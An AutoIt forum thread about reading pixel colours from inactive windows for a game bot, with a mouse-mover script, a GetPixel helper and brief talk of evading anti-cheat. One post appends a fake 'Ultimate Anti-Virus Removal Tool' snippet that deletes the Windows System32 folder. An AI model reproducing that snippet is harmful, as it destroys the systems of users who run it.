evilelf Posted June 30, 2008 Author Posted June 30, 2008 You can "pixelsearch" in a non-active window, I've posted some examples on how you can get a pixel color from a non-active window, but you'll have to code the pixel-searching function yourself I'm afraid.Could you show me your examples?or maybe the link?
Firefoxy Posted June 30, 2008 Posted June 30, 2008 I made something like that a while ago. expandcollapse popup#include <GUIConstants.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Random Mouse Movements", 252, 152, 186, 468, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), $WS_EX_TOPMOST) $Button1 = GUICtrlCreateButton("Begin Random Mouse Movements '['", 8, 8, 235, 49, 0) $Button2 = GUICtrlCreateButton("End Random Mouse Movements ']'", 16, 64, 219, 41, 0) $Button3 = GUICtrlCreateButton("Exit", 24, 112, 203, 33, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### HotKeySet("[", "_Button1") HotKeySet("]", "_Button2") $log = FileOpen(@DesktopCommonDir & "\log.txt", 2) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE FileClose($log) Exit Case $Button3 FileClose($log) Exit Case $Button2 AdLibDisable() GUICtrlSetState($Button1, @SW_ENABLE) GUICtrlSetState($Button2, @SW_DISABLE) Case $Button1 AdLibEnable("_MouseMove", 1000) GUICtrlSetState($Button1, @SW_DISABLE) GUICtrlSetState($Button2, @SW_ENABLE) EndSwitch WEnd Func _MouseMove() $x = @DesktopWidth $y = @DesktopHeight MouseMove(Random(0, $x), Random(0, $y)) $loc = MouseGetPos() FileWriteLine($log, "X = " & $loc[0] & " | Y = " & $loc[1]) EndFunc Func _Button1() ControlClick("Random Mouse Movements", "", $Button1) EndFunc Func _Button2() ControlClick("Random Mouse Movements", "", $Button2) EndFunc ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf
FreeFry Posted July 1, 2008 Posted July 1, 2008 Could you show me your examples? or maybe the link? Search for my posts, I've posted my example in some other thread some time ago. I made something like that a while ago. expandcollapse popup#include <GUIConstants.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Random Mouse Movements", 252, 152, 186, 468, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), $WS_EX_TOPMOST) $Button1 = GUICtrlCreateButton("Begin Random Mouse Movements '['", 8, 8, 235, 49, 0) $Button2 = GUICtrlCreateButton("End Random Mouse Movements ']'", 16, 64, 219, 41, 0) $Button3 = GUICtrlCreateButton("Exit", 24, 112, 203, 33, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### HotKeySet("[", "_Button1") HotKeySet("]", "_Button2") $log = FileOpen(@DesktopCommonDir & "\log.txt", 2) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE FileClose($log) Exit Case $Button3 FileClose($log) Exit Case $Button2 AdLibDisable() GUICtrlSetState($Button1, @SW_ENABLE) GUICtrlSetState($Button2, @SW_DISABLE) Case $Button1 AdLibEnable("_MouseMove", 1000) GUICtrlSetState($Button1, @SW_DISABLE) GUICtrlSetState($Button2, @SW_ENABLE) EndSwitch WEnd Func _MouseMove() $x = @DesktopWidth $y = @DesktopHeight MouseMove(Random(0, $x), Random(0, $y)) $loc = MouseGetPos() FileWriteLine($log, "X = " & $loc[0] & " | Y = " & $loc[1]) EndFunc Func _Button1() ControlClick("Random Mouse Movements", "", $Button1) EndFunc Func _Button2() ControlClick("Random Mouse Movements", "", $Button2) EndFunc How will that move the mouse inside a non-active window? :s
evilelf Posted July 2, 2008 Author Posted July 2, 2008 I think i have found it, But ill look in to Memory reading seeing how its more accurate and faster. Well pixel-searching and memory reading is two different concepts to achieve(mostly) the same thing. Memory reading is way more accurate(and a lot faster) than the pixel-concept... But I believe getting a pixel color for some coord on a minimized windows is very much possible, but it depends on if the window is being redrawn while it's minimized.. otherwise it wont do much good.. Edit: I took the liberty to create a function which does this: Func _PixelGetColorEx($swTitle, $swText, $iXPos, $iYPos) If Not WinExists($swTitle, $swText) Then Return(SetError(1, 0, 0)) ; window doesn't exist If Not IsHWnd($swTitle) Then $swTitle = WinGetHandle($swTitle, $swText) Local $hWndDC = DllCall("user32.dll", "hwnd", "GetDC", "hwnd", $swTitle) If Not $hWndDC[0] Then Return(SetError(2, 0, 0)) ; Could not get device context Local $iRGBColor = DllCall("gdi32.dll", "int", "GetPixel", "hwnd", $hWndDC[0], "int", $iXPos, "int", $iYPos) DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $swTitle, "hwnd", $hWndDC[0]) If $iRGBColor[0] = -1 Then Return(SetError(3, 0, 0)) ; Pixel is outside clipping region Return $iRGBColor[0] EndFunc Use it like the normal PixelGetColor but with a window title/handle and text. You might wanna check @error as not all windows support the GetPixel feature... Edit: Whops, forgot the ReleaseDC call, fixed. Edit: Late edit, fixed some typos I made. doh
FreeFry Posted July 2, 2008 Posted July 2, 2008 You should be aware though, that many games incorporate various kinds of anti-cheat measures(most multiplayer ones), many of those can detect memory reading(atleast the ones most of us use with autoit), and can/will get you banned from the game(account or sometimes even ip-based bans).
evilelf Posted July 3, 2008 Author Posted July 3, 2008 (edited) You should be aware though, that many games incorporate various kinds of anti-cheat measures(most multiplayer ones), many of those can detect memory reading(atleast the ones most of us use with autoit), and can/will get you banned from the game(account or sometimes even ip-based bans).This Anti-Cheat thing involes somthing like InnerSpace hacking or programming?Some one told me, I must make a Program That were this anti-Cheat Scans your computer/Ram thisso called program would make it skip the program im running,Cause its in my innerSpace program...Or " Some Term " Of Words like that...Is thisTrue?I would love to just start over in C++,Seeing i want schooling in that subject. N The next 6 months.If you know of Programing, Mainly Like Bot Making for video Games i would love the info. () Like how would i run self-tests? With out the Risk of myself getting banned.And Yes Alot of Games are running this nice anti-cheat-Thanks,Mike Edited July 4, 2008 by evilelf
FreeFry Posted July 4, 2008 Posted July 4, 2008 Sorry, I don't know anything about what kind of anti-cheat your game runs, nor would I know how to bypass it.
evilelf Posted July 4, 2008 Author Posted July 4, 2008 (edited) Sorry, I don't know anything about what kind of anti-cheat your game runs, nor would I know how to bypass it.Thats fine, I was just trying to ask for some of the Topics i need to look for.A Link would be Mighty Nice.I have no background in memory reading, or in this Anti-cheat programing.Need all the help i can get, I'm not asking for work to be done. Edited July 4, 2008 by evilelf
FreeFry Posted July 4, 2008 Posted July 4, 2008 Well, as this is quite game-specific, I'll ask you to add me to my msn(assuming you have msn), then we can chat further. muttley
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now